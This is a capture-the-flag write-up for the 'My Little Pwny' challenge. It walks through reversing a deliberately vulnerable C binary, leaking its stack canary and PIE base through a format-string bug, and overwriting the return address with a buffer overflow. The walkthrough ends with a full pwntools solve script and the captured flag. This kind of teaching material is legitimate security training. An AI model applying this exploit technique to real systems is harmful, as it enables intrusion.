Flash CTF – My Little Pwny

Overview

The My Little Pwny challenge involves exploiting a compiled c binary (pwny) that contains a buffer overflow vulnerability and an exploitable printf function. The goal is to execute the win() function, which reads and prints the flag from a file.

Protections

Running checksec on the pwny binary shows us that we’re going to have to bypass all the normal modern protections, no executable stacks, unrandomized addresses, or canary free buffers today.

checksec --file=pwny 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   37 Symbols        No    0               2               pwny

Binary Behavior

The binary calls the vulnerable name_pony function twice, giving us two opportunities to exploit the buffer overflow vulnerability with fgets(), however the second call does not print the input with printf(), so we have only one chance to leak values (without doing fun things with the vulnerabilities later)

Reversing the name_pony function should result in a decompilation that resembles this original source code

void name_pony(int index) {
    char buffer[64];
    printf("Enter your pony's name: ");
    fgets(buffer, 128, stdin); // exploitable buffer overflow

    // Strip the newline character if present
    size_t len = strlen(buffer);
    if (len > 0 && buffer[len - 1] == '\n') {
        buffer[len - 1] = '\0';
    }

    switch (index) {
        case 0:
            printf(buffer); //exploitable printf
            printf(", that's beautiful!\n");
            break;
        case 1:
            printf("That name is perfect, I dare not sully it by saying it outloud!\n");
            break;
    }
}

Sadly the main function is simply a wrapper to call name_pony twice, nothing interesting there.

int main() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);
    printf("You just got gifted with two ponies, what will you name them?\n");
    printf("\nThe first one tramples out with a shiny coat of fur that radiates positive energy\n");
    name_pony(0);

    printf("\nThe second one prances around with a mane that glistens like the morning dew\n");
    name_pony(1);

    printf("\nEnjoy your ponies!\n");
    return 0;
}

Also of note is an unused win function, this is where we want to get to solve the challenge.

int win() {
    FILE *file = fopen("flag.txt", "r");
    if (file == NULL) {
        perror("Error opening file");
        return 1;
    }

    char flag[128];
    if (fgets(flag, sizeof(flag), file) != NULL) {
        printf("Flag: %s\n", flag);
    } else {
        perror("Error reading file");
    }

    fclose(file);
    return 0;
}

Vulnerabilities

Buffer Overflow

In the name_pony function, the fgets function is used to read input into a buffer of size 64, but it allows up to 128 bytes to be read. This gives us a 64 byte buffer overflow, allowing us to overwrite the stack, including the return address. Of note, we do have a stack canary in the way of simply writing to the return pointer, and we also have PIE, so we can’t use absolute addresses.

Format String Vulnerability

The printf function in name_pony is called with user input directly, which can be exploited to leak memory addresses, exactly what we need to further abuse the buffer overflow vulnerability!

Exploitation Steps

Leaking the Canary and PIE Base Address

printf() can be used to print arbitrary stack values, this is exactly what we need to leak a couple of values:

     

      1. We need to leak the Canary so we can properly overwrite the return address with the buffer overflow vulnerability

      1. We need to determine the base PIE address so we can actually jmp where we want in the binary.

    The printf syntax to print an arbitrary stack value is %x$p where x is the offset to the value we want to print. We enumerate through possible values and come up with the following two useful ones:

       

        1. Canary Leak: By using the format string vulnerability, we can leak the stack canary. The format string %19$p is used to print the canary value from the stack.

        1. PIE Base Address Leak: Similarly, %6$p is used to leak a PIE address, which helps in calculating the base address of the binary. To determine the base address from our PIE address leak, we can open the binary in GDB, and leak the 6th value on the stack, and subtract the PIE base address (which can be gotten with piebase) to find our offset. In this case the offset is 0x20f0, so we simply subtract 0x20f0 from our leaked value to determine the PIE base address whenever we run the exploit

      Two Leaks, One Printf

      We only have one call to printf, but we need to leak two values to abuse the buffer overflow, thankfully we can leak both values at once with a payload like %19$p-%6$p^, which will allow us to separate the two values from the single printf statement.

      Constructing the Payload

      With the leaked canary and PIE base address, we construct a payload to overwrite the return address with the address of the win() function.

         

          1. Buffer Overflow: Fill the buffer with 72 bytes of padding to reach the canary.

          1. Canary: Insert the leaked canary value to bypass stack protection.

          1. Padding: Add 8 bytes of padding to reach the return address.

          1. Return Address: Overwrite the return address with the address of the win() function.

        Solve Script


        from pwn import * # Set up the binary and context binary = './pwny' elf = ELF(binary) context.binary = binary PIE_OFFSET = 0x20f0 CANARY_BUFFER_OFFSET = 72 #p = process(binary) p = remote('kubenode.mctf.io', 30012) p.recvuntil('positive energy') p.sendline(b'%19$p-%6$p^') leaks = p.recvuntil(b'!') canary = int(leaks.split(b'-')[0].split()[-1], 16) log.success(f'Leaked canary: {hex(canary)}') leaked_pie = int(int(leaks.split(b'-')[1].split(b'^')[0], 16)) log.success(f'Leaked pie address: {hex(leaked_pie)}') base_address = leaked_pie - PIE_OFFSET elf.address = base_address log.success(f"Base pie address: {hex(base_address)}") payload = flat( b"A" * CANARY_BUFFER_OFFSET, # Overflow buffer p64(canary), # Canary value b"B" * 8, # Padding to reach return address elf.symbols.win ) p.sendline(payload) print(p.recvall().split(b'Flag: ')[1].strip())

        Flag

        MetaCTF{l3ak_7h3_c4nary_p1e}